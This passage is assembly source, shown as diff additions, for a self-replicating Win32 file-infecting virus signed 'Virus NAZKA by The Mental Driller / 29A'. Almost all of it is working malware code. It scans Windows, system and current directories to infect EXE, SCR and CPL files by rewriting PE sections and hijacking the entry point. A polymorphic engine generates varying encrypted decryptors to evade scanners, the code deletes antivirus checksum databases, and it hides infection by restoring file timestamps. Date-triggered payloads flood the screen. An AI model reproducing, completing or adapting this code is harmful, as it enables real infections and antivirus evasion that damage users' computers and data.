+ lea eax, [ebp+Directory2] + push eax + call dword ptr [ebp+RVA_GetCurrentDirectoryA] + call InfectWindowsDir + call InfectSystemDir + lea eax, [ebp+Directory2] + push eax + call dword ptr [ebp+RVA_SetCurrentDirectoryA] + ret +RuntimeInfection endp + +Directory1 db 80h dup (0) +Directory2 db 80h dup (0) + +InfectSystemDir proc + mov ebx, [ebp+RVA_GetSystemDirectoryA] +Common_InfectDir: + push 80h + lea eax, [ebp+Directory1] + push eax + call ebx + or eax, eax + jz @@Return + call SetDirectory1 + call InfectCurrentDir +@@Return: ret +InfectSystemDir endp + +InfectWindowsDir proc + mov ebx, [ebp+RVA_GetWindowsDirectoryA] + jmp Common_InfectDir +InfectWindowsDir endp + +SetDirectory1 proc + lea eax, [ebp+Directory1] + push eax + call dword ptr [ebp+RVA_SetCurrentDirectoryA] + ret +SetDirectory1 endp + +InfectCurrentDir proc + call DeleteDATs + lea ecx, [ebp+FindFileMask1] + call InfectCurrentDir2 + lea ecx, [ebp+FindFileMask2] + call InfectCurrentDir2 + lea ecx, [ebp+FindFileMask3] + call InfectCurrentDir2 + ret +InfectCurrentDir endp + +InfectCurrentDir2 proc + lea ebx, [ebp+FindFileField] + push ebx + push ecx + call dword ptr [ebp+RVA_FindFirstFileA] + inc eax + jz @@Fin0 + dec eax + mov dword ptr [ebp+FindFileHandle], eax +@@InfectAgain: call InfectFile + lea ebx, [ebp+FindFileField] + push ebx + push dword ptr [ebp+FindFileHandle] + call dword ptr [ebp+RVA_FindNextFileA] + or eax, eax + jnz @@InfectAgain + push dword ptr [ebp+FindFileHandle] + call dword ptr [ebp+RVA_FindClose] + @@Fin0: ret +InfectCurrentDir2 endp + +FindFileHandle dd 0 + +InfectFile proc + mov ebx, [ebp+CreationTime] + and ebx, 3 + cmp bl, 3 + jz @@End ; Infection mark + lea ebx, [ebp+FileName] + call CheckFileName + jc @@End + push 80h + push ebx + call dword ptr [ebp+RVA_SetFileAttributesA] + call OpenFile + jc @@End2 + call MapFile + or eax, eax + jz @@End3 + mov dword ptr [ebp+MappingAddress], eax + mov edi, eax + cmp word ptr [edi], 'ZM' + jnz @@End4 + ; cmp word ptr [edi+12h], 'DM' + ; jz @@End4 + mov esi, [eax+3Ch] + add esi, edi + mov [ebp+PEHeaderAddress], esi + cmp word ptr [esi], 'EP' + jnz @@End4 +;; ESI=Header address, EDI=Mapping address (beginning of file) + +;; Manner of infecting the file: +;; 1) The section .reloc is anulated +;; 2) We check if reloc is quite big to contain the virus. If not, we exit +;; 3) We copy from .text to the end of the last section the portion of code +;; that is going to be overwritten +;; 4) We copy the virus to .reloc and we change the name of the section by +;; another randomly generated +;; 5) We overwrite .text section with the decryptor (we check if .text is big +;; enough to contain this). +;; 6) When execution, .text must be restored from the saved data. All other +;; things (reloc, etc.) can remain. + + movzx ebx, word ptr [esi+14h] + movzx ecx, word ptr [esi+06h] + lea ebx, [ebx+esi+18h] + mov eax, 28h + push ebx + push ecx + dec ecx + mul ecx + add ebx, eax + sub ebx, edi + mov [ebp+LastHeader], ebx ; In EBX, the physical address + ; of the header of the last section + pop ecx + pop eax + mov dword ptr [ebp+TextHeader], 0 + mov dword ptr [ebp+RelocHeader], 0 + @@Loop_001: cmp dword ptr [eax], 'xet.' + jnz @@LookForReloc + cmp dword ptr [eax+4], 0+'t' + jnz @@NextSection + sub eax, edi + mov [ebp+TextHeader], eax ; Physical address of .text + add eax, edi + jmp @@NextSection +@@LookForReloc: cmp dword ptr [eax], 'ler.' + jnz @@NextSection + cmp dword ptr [eax+4], 0+'co' + jnz @@NextSection + sub eax, edi + mov [ebp+RelocHeader], eax ; Physical address of .reloc + add eax, edi +@@NextSection: add eax, 28h + loop @@Loop_001 + cmp [ebp+TextHeader], ecx ; 0? + jz @@End4 + mov eax, [ebp+RelocHeader] + or eax, eax + jz @@End4 + cmp eax, [ebp+LastHeader] ; Is last section the reloc? + jnz @@End4 ; If it isn't, exit + + mov dword ptr [esi+98h], 0 + mov dword ptr [esi+9Ch], 0 ; Anulate relocs + mov eax, [esi+28h] + mov ebx, [esi+34h] + add eax, ebx + mov [ebp+InicIP], eax + mov [ebp+ImageBase], ebx + + mov eax, [ebp+TextHeader] + add eax, edi + cmp dword ptr [eax+08h], 1000h + jb @@End4 + cmp dword ptr [eax+10h], 1000h + jb @@End4 + mov eax, [ebp+RelocHeader] + add eax, edi + mov ebx, Virus_Size+1000h + cmp dword ptr [eax+08h], ebx + jae @@SizeIsOK_1 + mov dword ptr [eax+08h], ebx + @@SizeIsOK_1: cmp dword ptr [eax+10h], ebx + jae @@SizeIsOK_2 + @@SizeIsNotOK: sub ebx, [eax+10h] + mov ecx, eax + xchg ebx, eax + mov ebx, [esi+38h] + xor edx, edx + div ebx + inc eax + mul ebx + add [ecx+10h], eax + add [ebp+FileSizeLow], eax + add [esi+50h], eax + call UnmapFile + call MapFile + or eax, eax + jz @@End3 + mov dword ptr [ebp+MappingAddress], eax + mov edi, eax + mov esi, [edi+3Ch] + add esi, edi + @@SizeIsOK_2: + + ;; This must be sustituted by an entrypoint to the very + ;; beginning of the .text section. This time (to test) we + ;; set the entrypoint at the beginning of the .reloc section + ;; (last section) + + mov eax, [ebp+TextHeader] + add eax, edi + mov ebx, [eax+0Ch] + mov [esi+28h], ebx + add ebx, [esi+34h] + mov [ebp+RestoreAddress], ebx + mov ecx, [eax+14h] + add ecx, edi + + mov eax, [ebp+RelocHeader] + add eax, edi + or dword ptr [eax+24h], 0A0000020h + + + ; mov eax, [eax+0Ch] + ; mov [esi+28h], eax + + call ConstructNameForReloc + push edi + xchg edi, eax + mov edi, [ebp+RelocHeader] + add edi, eax + mov edi, [edi+14h] + add edi, eax + + push esi + lea esi, [ebp+Nazka] + mov ecx, Virus_Size / 4 + + push eax + call CreateEncryptions + call EncryptWhileStoring + pop eax + + mov esi, [ebp+TextHeader] + add esi, eax + mov esi, [esi+14h] + add esi, eax + mov ecx, 400h + call EncryptWhileStoring + + pop esi + + pop edi + ; mov word ptr [edi+12h], 'DM' + + mov eax, [ebp+TextHeader] + add eax, edi + mov ebx, [eax+0Ch] + add ebx, [esi+34h] + mov ecx, [eax+14h] + add ecx, edi + + mov eax, [ebp+RelocHeader] + add eax, edi + mov eax, [eax+0Ch] + add eax, [esi+34h] + sub eax, ebx + ; sub eax, 5 + + ; EAX=Displacement from the beginning till the virus + ; ECX=Place where the decryptors must be put + ; Size of encrypted part is Virus_Size+1000h + + call PutDecryptors + + ; mov byte ptr [ecx], 0E9h + ; mov dword ptr [ecx+1], eax + + or dword ptr [ebp+CreationTime], 3 + + @@End4: call UnmapFile + @@End3: call RestoreDateTime + push dword ptr [ebp+FileHandle] + call dword ptr [ebp+RVA_CloseHandle] + + @@End2: push dword ptr [ebp+FileAttributes] + lea ebx, [ebp+FileName] + push ebx + call dword ptr [ebp+RVA_SetFileAttributesA] + @@End: ret +InfectFile endp + +TextHeader dd 0 +RelocHeader dd 0 +LastHeader dd 0 +StartOfLastSection dd 0 +PEHeaderAddress dd 0 + +EncryptWhileStoring proc + @@EncryptLoop: mov edx, 2 + lodsd + @@Loop_001: cmp byte ptr [ebp+edx+EncryptType], 1 + jb @@ADD + jz @@SUB + @@XOR: xor eax, dword ptr [4*edx+ebp+DecryptKey] + jmp @@Next + @@ADD: add eax, dword ptr [4*edx+ebp+DecryptKey] + jmp @@Next + @@SUB: sub eax, dword ptr [4*edx+ebp+DecryptKey] + @@Next: dec edx + jns @@Loop_001 + stosd + loop @@EncryptLoop + ret +EncryptWhileStoring endp + +CreateEncryptions proc + pusha + @@Again: call Random + jz @@Again + mov [ebp+DecryptKey], eax + @@Again2: call Random + jz @@Again2 + cmp [ebp+DecryptKey], eax + jz @@Again2 + mov [ebp+DecryptKey+4], eax + @@Again3: call Random + jz @@Again3 + cmp [ebp+DecryptKey], eax + jz @@Again3 + cmp [ebp+DecryptKey+4], eax + jz @@Again3 + mov [ebp+DecryptKey+8], eax + + mov ecx, 3 + @@OtraVez: call Random + and al, 3 + jz @@OtraVez + dec al + mov byte ptr [ebp+ecx+EncryptType-1], al + loop @@OtraVez + + popa + ret +CreateEncryptions endp + +EncryptType db 0, 0, 0 ; 0=ADD, 1=SUB, 2=XOR +DecryptKey dd 0, 0, 0 + +; Help with stack positions +S_EAX equ 1Ch +S_ECX equ 18h +S_EDX equ 14h +S_EBX equ 10h +S_ESP equ 0Ch +S_EBP equ 08h +S_ESI equ 04h +S_EDI equ 00h + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;; Dumb polymorphic engine :) ;; +;; Just made only to avoid having the same decryptors every time. ;; +;; It has been made in two hours or so, so it isn't very complex. ;; +;; That's very easy to emulate, but I wasn't in the mood to make ;; +;; a bigger one in a weekend (well, just wait for the finishing ;; +;; of the eternally durable coding of the Tuareg engine :P ) ;; +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +; EAX=Displacement from the beginning till the virus +; ECX=Place where the decryptors must be put +; Size of encrypted part is Virus_Size+1000h + +PutDecryptors proc + pusha + mov [ebp+Distance], eax + mov [ebp+DecryptorsBeginAddress], ecx + mov edi, ecx + mov byte ptr [ebp+NumberOfDecryptor], 0 + + ; Initializing of the random generator + lea eax, [ebp+offset SystemTimeReceiver] + push eax + call dword ptr [ebp+RVA_GetSystemTime] + mov eax, [ebp+DwordAleatorio1] + xor eax, [ebp+DwordAleatorio2] + mov [ebp+DwordAleatorio3], eax ; We make it slow poly + + @@MakeNextDecryptor: + + ; Register selection + @@Select1: call Random + and al, 7 + cmp al, 4 + jz @@Select1 + mov [ebp+KeyRegister], al + mov dl, al + @@Select2: call Random + and al, 7 + cmp al, 4 + jz @@Select2 + cmp al, dl + jz @@Select2 + mov [ebp+CounterRegister], al + mov dh, al + @@Select3: call Random + and al, 7 + cmp al, 4 + jz @@Select3 + cmp al, dh + jz @@Select3 + cmp al, dl + jz @@Select3 + mov [ebp+IndexRegister], al + + lea ebx, [ebp+offset PutCounterValue] + lea ecx, [ebp+offset PutIndexValue] + lea edx, [ebp+offset PutKeyValue] + call RandomCalling + mov [ebp+InicLoop], edi + + movzx ecx, byte ptr [ebp+NumberOfDecryptor] + mov al, byte ptr [ebp+4*ecx+EncryptType] + cmp al, 1 + jb @@ADD + jz @@SUB + @@XOR: mov al, 31h + jmp @@J_001 + @@ADD: mov al, 29h ; Just the inverse of ADD + jmp @@J_001 + @@SUB: mov al, 01h + @@J_001: stosb + mov al, [ebp+IndexRegister] + cmp al, 5 + jnz @@J_002 + or al, 40h + @@J_002: mov dl, [ebp+KeyRegister] + shl dl, 3 + or al, dl + stosb + cmp al, 40h + jb @@J_003 + xor al, al + stosb + @@J_003: lea ebx, [ebp+offset IncreaseIndex] + lea ecx, [ebp+offset DecreaseCounter] + lea edx, [ebp+offset @@Return] + call RandomCalling + + ;; Select counter zero checking + @@Again1: call RandomFlags + jz @@OtherSet + js @@Again1 + @@TEST: mov al, 85h + jmp @@PutOpcode + @@OtherSet: js @@OR + @@AND: mov al, 23h + jmp @@PutOpcode + @@OR: mov al, 0Bh + @@PutOpcode: stosb + mov al, 0C0h + mov dl, [ebp+CounterRegister] + or al, dl + shl dl, 3 + or al, dl + stosb + + ;; Select jump to the begin of the loop + call RandomFlags + jz @@PutJNZ + @@PutJNS: mov al, 79h + jmp @@PutJump + @@PutJNZ: mov al, 75h + @@PutJump: stosb + inc edi + mov eax, [ebp+InicLoop] + sub eax, edi + mov [edi-1], al + inc byte ptr [ebp+NumberOfDecryptor] + cmp byte ptr [ebp+NumberOfDecryptor], 3 + jnz @@MakeNextDecryptor + + lea ecx, [edi+5] + sub ecx, [ebp+DecryptorsBeginAddress] + mov eax, [ebp+Distance] + sub eax, ecx + push eax + mov al, 0E9h + stosb + pop eax + stosd + popa + @@Return: ret +PutDecryptors endp + +NumberOfDecryptor db 0 +DecryptorsBeginAddress dd 0 +Distance dd 0 +InicLoop dd 0 +IndexRegister db 0 +CounterRegister db 0 +KeyRegister db 0 + +IncreaseIndex proc + pusha + mov dl, [ebp+IndexRegister] + mov byte ptr [ebp+SubtractFlag], 0 + mov cl, 4 +CommonEntryForModification: +@@IncreaseAgain: + call RandomFlags + jz @@Next + js @@PutINC +@@PutSUB: mov byte ptr [ebp+PutADDFlag], 0 +@@CommonPutADDSUB: + or dl, dl + jnz @@NotSUBEAX + mov al, 2Dh + stosb + jmp @@Again1 + @@NotSUBEAX: mov ax, 0E883h + or ah, dl + stosw + @@Again1: call Random + and eax, 3 + inc al + cmp al, cl + ja @@Again1 + sub cl, al + cmp byte ptr [ebp+PutADDFlag], 1 + jz @@Jump3 + cmp byte ptr [ebp+SubtractFlag], 1 + jz @@Jump5 + @@Negate: neg eax + jmp @@Jump5 + @@Jump3: cmp byte ptr [ebp+SubtractFlag], 1 + jz @@Negate + @@Jump5: cmp byte ptr [edi-1], 2Dh + jnz @@Jump1 + stosd + jmp @@Jump2 + @@Jump1: stosb + @@Jump2: jmp @@End + +@@PutINC: dec cl + mov al, 40h + cmp byte ptr [ebp+SubtractFlag], 1 + jnz @@Jump6 + add al, 8 + @@Jump6: add al, dl + stosb + jmp @@End + + @@Next: js @@PutLEA +@@PutADD: mov byte ptr [ebp+PutADDFlag], 1 + jmp @@CommonPutADDSUB + +@@PutLEA: mov ah, dl + shl dl, 3 + or ah, dl + shr dl, 3 + or ah, 40h + mov al, 8Dh + stosw + @@Again2: call Random + and al, 3 + inc al + cmp al, cl + ja @@Again2 + sub cl, al + cmp byte ptr [ebp+SubtractFlag], 1 + jnz @@Jump7 + neg al + @@Jump7: stosb + + @@End: or cl, cl + jnz @@IncreaseAgain + mov [esp+S_EDI], edi + popa + ret +IncreaseIndex endp + +DecreaseCounter proc + pusha + mov dl, [ebp+CounterRegister] + mov cl, 1 + mov byte ptr [ebp+SubtractFlag], 1 + jmp CommonEntryForModification +DecreaseCounter endp + +PutADDFlag db 0 +SubtractFlag db 0 + +PutCounterValue proc + pusha + mov ecx, (Virus_Size+1000h)/4 + 1 + mov dl, [ebp+CounterRegister] + jmp PutMOV +PutCounterValue endp + +PutIndexValue proc + pusha + mov ecx, [ebp+RelocHeader] + add ecx, [ebp+MappingAddress] + mov ecx, [ecx+0Ch] + mov esi, [ebp+PEHeaderAddress] + add ecx, [esi+34h] + mov dl, [ebp+IndexRegister] + jmp PutMOV +PutIndexValue endp + +PutKeyValue proc + pusha + movzx ecx, byte ptr [ebp+NumberOfDecryptor] + mov ecx, dword ptr [4*ecx+ebp+DecryptKey] + mov dl, [ebp+KeyRegister] +PutKeyValue endp + +PutMOV proc + call RandomFlags + jz @@Next + js PutMOV +@@PutMOV3: mov ax, 058Dh + shl dl, 3 + or ah, dl + stosw + @@Store1: mov eax, ecx + stosd + @@Exit: mov [esp+S_EDI], edi + popa + ret + @@Next: js @@PutMOV2 +@@PutMOV1: mov al, 0B8h + add al, dl + stosb + jmp @@Store1 +@@PutMOV2: mov al, 68h + stosb + mov eax, ecx + stosd + mov al, 58h + add al, dl + stosb + jmp @@Exit +PutMOV endp + +RandomCalling proc + mov esi, 5 + @@Again: call RandomFlags + jz @@Jump1 + xchg ebx, ecx + @@Jump1: call RandomFlags + jz @@Jump2 + xchg ecx, edx + @@Jump2: call RandomFlags + jz @@Jump3 + xchg edx, ebx + @@Jump3: dec esi + jnz @@Again + push ebx + push ecx + jmp edx +RandomCalling endp + +RandomFlags proc + push eax + call Random + sahf + pop eax + ret +RandomFlags endp + +ConstructNameForReloc proc + pusha +;; Method 2: Put a name like .?text or .?code +;; Method 1: A set of four to six chars with '.' at the beginning + in al, 40h + test al, 1 + jnz @@RandomName + and al, 1Fh + cmp al, 19h + jbe @@OK + sub al, 19h + @@OK: add al, 61h + mov ah, al + mov al, '.' + push ax + mov eax, 'et?.' + pop ax + mov ebx, 0+'tx' + mov ecx, [ebp+RelocHeader] + add ecx, edi + mov dword ptr [ecx], eax + mov dword ptr [ecx+4], ebx + popa + ret + @@RandomName: mov ecx, [ebp+RelocHeader] + add ecx, edi + inc ecx + mov edx, 4 + mov eax, esp + @@Loop_001: in al, 40h + xor al, ah + add ah, al + and al, 1Fh + add al, 61h + cmp al, 79h + jbe @@OK2 + sub al, 19h + @@OK2: mov [ecx], al + inc ecx + dec edx + jnz @@Loop_001 + mov byte ptr [ecx], 0 + popa + ret +ConstructNameForReloc endp + +FindFileMask1 db '*.EXE',0 +FindFileMask2 db '*.SCR',0 +FindFileMask3 db '*.CPL',0 + +OpenFile proc + push 0 + push 0 + push 3 + push 0 + push 0 + push 0c0000000h + push ebx + call dword ptr [ebp+RVA_CreateFileA] + inc eax + jz @@Error + dec eax + mov dword ptr [ebp+FileHandle], eax + clc + ret + @@Error: stc + ret +OpenFile endp + +MapFile proc + push 0 + push dword ptr [ebp+FileSizeLow] + push 0 + push 4 + push 0 + push dword ptr [ebp+FileHandle] + call dword ptr [ebp+RVA_CreateFileMappingA] + or eax, eax + jz @@FinError + mov dword ptr [ebp+MappingHandle], eax + push dword ptr [ebp+FileSizeLow] + push 0 + push 0 + push 2 + push dword ptr [ebp+MappingHandle] + call dword ptr [ebp+RVA_MapViewOfFile] + or eax, eax + jc @@FinError2 + mov dword ptr [ebp+MappingAddress], eax + clc + ret +@@FinError2: push dword ptr [ebp+MappingHandle] + call dword ptr [ebp+RVA_CloseHandle] +@@FinError: stc + ret +MapFile endp + +MappingHandle dd 0 +MappingAddress dd 0 +FileHandle dd 0 + +UnmapFile proc + push dword ptr [ebp+MappingAddress] + call dword ptr [ebp+RVA_UnmapViewOfFile] + push dword ptr [ebp+MappingHandle] + call dword ptr [ebp+RVA_CloseHandle] + ret +UnmapFile endp + +CheckFileName proc + push ebx + push edx + lea esi, [ebp+FileName] + mov ebx, esi + dec ebx + @@Loop_001: lodsb + or al, al + jnz @@Loop_001 + std + dec esi + dec esi + @@Loop_002: lodsb + cmp al, '\' + jz @@EndName2 + cmp al, ':' + jz @@EndName2 + cmp esi, ebx + jnz @@Loop_002 + jmp @@EndName + @@EndName2: inc esi + @@EndName: cld + inc esi + lodsw + movzx edx, ax + call ToLower + cmp edx, 0+'bt' + jz @@Error + cmp edx, 0+'cs' + jz @@Error + cmp edx, 0+'-f' + jz @@Error + cmp edx, 0+'ap' + jz @@Error + cmp edx, 0+'rd' + jz @@Error + dec esi + dec esi + dec esi + @@Again: inc esi + cmp byte ptr [esi], 'v' + jz @@Error + cmp byte ptr [esi], 'V' + jz @@Error + cmp byte ptr [esi], 0 + jnz @@Again + mov edx, [esi-4] + call ToLower + cmp edx, 'exe.' + jz @@ItsOK + cmp edx, 'rcs.' + jnz @@Error + cmp eax, 'lpc.' + jnz @@Error + @@ItsOK: pop edx + pop ebx + clc + ret + @@Error: pop edx + pop ebx + stc + ret +CheckFileName endp + +ToLower proc + push ecx + mov ecx, 4 + @@Loop_001: cmp dl, 'A' + jb @@Next + cmp dl, 'Z' + ja @@Next + add dl, 20h + @@Next: rol edx, 8 + loop @@Loop_001 + pop ecx + ret +ToLower endp + +DeleteDATs proc + lea ebx, [ebp+FileDAT1] + call DeleteFile + lea ebx, [ebp+FileDAT2] + call DeleteFile + lea ebx, [ebp+FileDAT3] + call DeleteFile + lea ebx, [ebp+FileDAT4] + call DeleteFile + ret +DeleteDATs endp + +DeleteFile proc + push 80h + push ebx + call dword ptr [ebp+RVA_SetFileAttributesA] + push ebx + call dword ptr [ebp+RVA_DeleteFileA] + ret +DeleteFile endp + +FileDAT1 db 'AVP.CRC',0 +FileDAT2 db 'ANTI-VIR.DAT',0 +FileDAT3 db 'CHKLIST.MS',0 +FileDAT4 db 'IVB.NTZ',0 + +RestoreDateTime proc + lea ebx, [ebp+CreationTime] + push ebx + add ebx, 8 + push ebx + add ebx, 8 + push ebx + push dword ptr [ebp+FileHandle] + call dword ptr [ebp+RVA_SetFileTime] + ret +RestoreDateTime endp + +Addr_Kernel32 dd 0 + +;,,,,,,,,,,,,, +;;; PAYLOADS ; +;''''''''''''' +Payload proc + ;; Let's do the payload in the day 17 of March, June, + ;; September and December + lea eax, [ebp+offset SystemTime] + push eax + call dword ptr [ebp+RVA_GetSystemTime] + cmp word ptr [ebp+Day], 11h + jnz @@Return + mov al, byte ptr [ebp+Month] + cmp al, 3 + jz @@RunPayload + cmp al, 6 + jz @@RunPayload + cmp al, 9 + jz @@RunPayload + cmp al, 0Ch + jnz @@Return + + @@RunPayload: lea eax, [ebp+ASC_User32] + call LoadLibrary + jc @@Return + + mov [ebp+ModuleToUse], eax + lea esi, [ebp+CrunchedUser32Functions] + lea edx, [ebp+User32RVAs] + call GetRVAs + jc @@Return + + lea eax, [ebp+ASC_GDI32] + call LoadLibrary + jc @@Return + + mov [ebp+ModuleToUse], eax + lea esi, [ebp+CrunchedGDI32Functions] + lea edx, [ebp+GDI32RVAs] + call GetRVAs + jc @@Return + + push 0 + call dword ptr [ebp+RVA_GetDC] + mov dword ptr [ebp+HandleDC], eax + + @@SelectPayload: + in al, 40h + and al, 3 + mov byte ptr [ebp+PayloadIdent], al + jz @@SelectPayload + cmp al, 2 + jb @@Payload1 + @@Payload2: lea ebx, [ebp+Payload2] + jmp @@CreateThread + @@Payload1: lea ebx, [ebp+Payload1] +@@CreateThread: lea eax, [ebp+offset RedBrush] ; Me la pela + push eax + push 0 + push 0 + push ebx + push 0 + push 0 + call dword ptr [ebp+RVA_CreateThread] + @@Return: ret +Payload endp + +Payload1 proc + call @@GetDeltaOffset +@@GetDeltaOffset: + pop ebp + sub ebp, offset @@GetDeltaOffset + + push 00FF0000h + call dword ptr [ebp+RVA_CreateSolidBrush] + mov dword ptr [ebp+RedBrush], eax + push 0000FF00h + call dword ptr [ebp+RVA_CreateSolidBrush] + mov dword ptr [ebp+GreenBrush], eax + push 000000FFh + call dword ptr [ebp+RVA_CreateSolidBrush] + mov dword ptr [ebp+BlueBrush], eax + push 0000FFFFh + call dword ptr [ebp+RVA_CreateSolidBrush] + mov dword ptr [ebp+YellowBrush], eax + push 00FF00FFh + call dword ptr [ebp+RVA_CreateSolidBrush] + mov dword ptr [ebp+MagentaBrush], eax + + @@Again: lea eax, [ebp+TimerProcedure] + push eax + push 60h + push 0 + push 0 + call dword ptr [ebp+RVA_SetTimer] + mov [ebp+Timer], eax + + push 0 + push offset MB_Title + push offset Identificator + push 0 + call dword ptr [ebp+RVA_MessageBoxA] + + push dword ptr [ebp+Timer] + push 0 + call dword ptr [ebp+RVA_KillTimer] + jmp @@Again +Payload1 endp + +Payload2 proc + call @@GetDeltaOffset +@@GetDeltaOffset: + pop ebp + sub ebp, offset @@GetDeltaOffset + @@Again: push 0 + call dword ptr [ebp+RVA_GetDC] + mov dword ptr [ebp+HandleDC], eax + + push 0000FF00h + push dword ptr [ebp+HandleDC] + call dword ptr [ebp+RVA_SetTextColor] + push 0 + push dword ptr [ebp+HandleDC] + call dword ptr [ebp+RVA_SetBkColor] + + cmp byte ptr [ebp+PayloadIdent], 2 + jz @@SetPixel + @@TextOutA: push 9 + lea eax, [ebp+StringToScreen] + push eax + jmp @@Common + + @@SetPixel: call Random + and eax, 0FFFFFFh + push eax + @@Common: call Random + and eax, 7FFh + push eax + call Random + and eax, 7FFh + push eax + push dword ptr [ebp+HandleDC] + cmp byte ptr [ebp+PayloadIdent], 2 + jz @@SetPixel2 + @@TextOut2: call dword ptr [ebp+RVA_TextOutA] + jmp @@Again + @@SetPixel2: call dword ptr [ebp+RVA_SetPixel] + jmp @@Again +Payload2 endp + +StringToScreen db 'N A Z K A' + +PayloadIdent db 0 + +Contador db 0 +Timer dd 0 + +TimerProcedure proc + pusha + call @@GetDeltaOffset +@@GetDeltaOffset: + pop ebp + sub ebp, offset @@GetDeltaOffset + movzx ebx, byte ptr [ebp+Contador] + inc ebx + cmp bl, 5 + jnz @@Continue1 + xor bl, bl + @@Continue1: mov byte ptr [ebp+Contador], bl + xor esi, esi + + @@Again: push 0 + call dword ptr [ebp+RVA_GetDC] + mov dword ptr [ebp+HandleDC], eax + + push dword ptr [4*ebx+ebp+RedBrush] + push dword ptr [ebp+HandleDC] + call dword ptr [ebp+RVA_SelectObject] + + push dword ptr [4*esi+ebp+Number] + mov eax, [4*esi+ebp+Letra] + add eax, ebp + push eax + push dword ptr [ebp+HandleDC] + call dword ptr [ebp+RVA_Polygon] + dec ebx + jns @@Salto + mov ebx, 4 + @@Salto: inc esi + cmp esi, 5 + jnz @@Again + popa + ret +TimerProcedure endp + +HandleDC dd 0 + +RedBrush dd 0 +BlueBrush dd 0 +GreenBrush dd 0 +YellowBrush dd 0 +MagentaBrush dd 0 + +Number dd 06h + dd 04h + dd 06h + dd 07h + dd 04h + +Letra dd offset Letra1 + dd offset Letra2 + dd offset Letra3 + dd offset Letra4 + dd offset Letra5 + +Letra1 dd 0, 0 + dd 0h, 80h + dd 40h, 20h + dd 50h, 80h + dd 50h, 0 + dd 10h, 60h + +Letra2 dd 88h, 0 + dd 60h, 80h + dd 88h, 20h + dd 0B0h, 80h + +Letra3 dd 0C0h, 0 + dd 100h, 10h + dd 0C0h, 78h + dd 110h, 70h + dd 0D0h, 70h + dd 110h, 8 + +Letra4 dd 120h, 0 + dd 120h, 80h + dd 12Ch, 40h + dd 170h, 80h + dd 130h, 38h + dd 170h, 0 + dd 12Ch, 30h + +Letra5 dd 1A8h, 0 + dd 180h, 80h + dd 1A8h, 20h + dd 1D0h, 80h + +MB_Title db 'Virus NAZKA',0 +Identificator db '(c) Virus NAZKA by The Mental Driller / 29A',0 + +LoadLibrary proc + push eax + call dword ptr [ebp+RVA_LoadLibraryA] + or eax, eax + jz @@Error + clc + ret + @@Error: stc + ret +LoadLibrary endp + +ASC_User32 db 'user32.dll',0 +ASC_GDI32 db 'gdi32.dll',0 + +CrunchedUser32Functions label dword +ASC_GetDC db 0F2h, 'DC',0 +ASC_SetTimer db 0F6h, 'Timer',0 +ASC_KillTimer db 'KillTimer',0 +ASC_MessageBoxA db 'MessageBoxA',0 + db 0 + +CrunchedGDI32Functions label dword +ASC_CreateSolidBrush db 0F0h, 'SolidBrush',0 +ASC_Polygon db 'Polygon',0 +ASC_SelectObject db 'SelectObject',0 +ASC_SetTextColor db 0F6h, 'TextColor',0 +ASC_SetBkColor db 0F6h, 'BkColor',0 +ASC_SetPixel db 0F6h, 'Pixel',0 +ASC_TextOutA db 'TextOutA',0 + db 0 + +User32RVAs label dword +RVA_GetDC dd 0 +RVA_SetTimer dd 0 +RVA_KillTimer dd 0 +RVA_MessageBoxA dd 0 +GDI32RVAs label dword +RVA_CreateSolidBrush dd 0 +RVA_Polygon dd 0 +RVA_SelectObject dd 0 +RVA_SetTextColor dd 0 +RVA_SetBkColor dd 0 +RVA_SetPixel dd 0 +RVA_TextOutA dd 0 + +;; 0F0h --> Create +;; 0F1h --> File +;; 0F2h --> Get +;; 0F3h --> DirectoryA +;; 0F4h --> Find +;; 0F5h --> Process +;; 0F6h --> Set +;; 0F7h --> AttributesA +ASC_Create db 'Create' +ASC_Get db 'Get' +ASC_DirectoryA db 'DirectoryA' +ASC_Process db 'Process' +ASC_Set db 'Set' +ASC_AttributesA db 'AttributesA' + +CrunchedASCIIs label dword +ASC_CreateFileA db 0F0h, 0F1h, 'A',0 +ASC_CreateProcessA db 0F0h, 0F5h, 'A',0 +ASC_FindFirstFileA db 0F4h, 'First', 0F1h, 'A',0 +ASC_FindNextFileA db 0F4h, 'Next', 0F1h, 'A',0 +ASC_GetFileAttributesA db 0F2h, 0F1h, 0F7h,0 +ASC_SetFileAttributesA db 0F6h ,0F1h, 0F7h,0 +ASC_GetFullPathNameA db 0F2h, 'FullPathNameA',0 +ASC_MoveFileA db 'Move', 0F1h, 'A',0 +ASC_CopyFileA db 'Copy', 0F1h, 'A',0 +ASC_DeleteFileA db 'Delete', 0F1h, 'A',0 +ASC_WinExec db 'WinExec',0 +ASC__lopen db '_lopen',0 +ASC_MoveFileExA db 'Move', 0F1h, 'ExA',0 +ASC_OpenFile db 'Open', 0F1h,0 + +ASC_WriteProcessMemory db 'Write', 0F5h, 'Memory',0 +ASC_GetCurrentProcess db 0F2h, 'Current', 0F5h,0 +ASC_CreateFileMappingA db 0F0h, 0F1h, 'MappingA',0 +ASC_MapViewOfFile db 'MapViewOf', 0F1h,0 +ASC_UnmapViewOfFile db 'UnmapViewOf', 0F1h,0 +ASC_CloseHandle db 'CloseHandle',0 +ASC_SetFilePointer db 0F6h, 0F1h, 'Pointer',0 +ASC_SetEndOfFile db 0F6h, 'EndOf', 0F1h,0 +ASC_SetFileTime db 0F6h, 0F1h, 'Time',0 +ASC_GetWindowsDirectoryA db 0F2h, 'Windows', 0F3h,0 +ASC_GetCurrentDirectoryA db 0F2h, 'Current', 0F3h,0 +ASC_SetCurrentDirectoryA db 0F6h, 'Current', 0F3h,0 +ASC_GetSystemDirectoryA db 0F2h, 'System', 0F3h,0 +ASC_GetSystemTime db 0F2h, 'SystemTime',0 +ASC_LoadLibraryA db 'LoadLibraryA',0 +ASC_FindClose db 0F4h, 'Close',0 +ASC_VirtualAlloc db 'VirtualAlloc',0 +ASC_VirtualFree db 'VirtualFree',0 +ASC_CreateThread db 0F0h, 'Thread',0 + db 0 + +FunctionsToPatch label dword +RVA_GetProcAddress dd 0 +RVAs label dword +RVA_CreateFileA dd 0 +RVA_CreateProcessA dd 0 +RVA_FindFirstFileA dd 0 +RVA_FindNextFileA dd 0 +RVA_GetFileAttributesA dd 0 +RVA_SetFileAttributesA dd 0 +RVA_GetFullPathNameA dd 0 +RVA_MoveFileA dd 0 +RVA_CopyFileA dd 0 +RVA_DeleteFileA dd 0 +RVA_WinExec dd 0 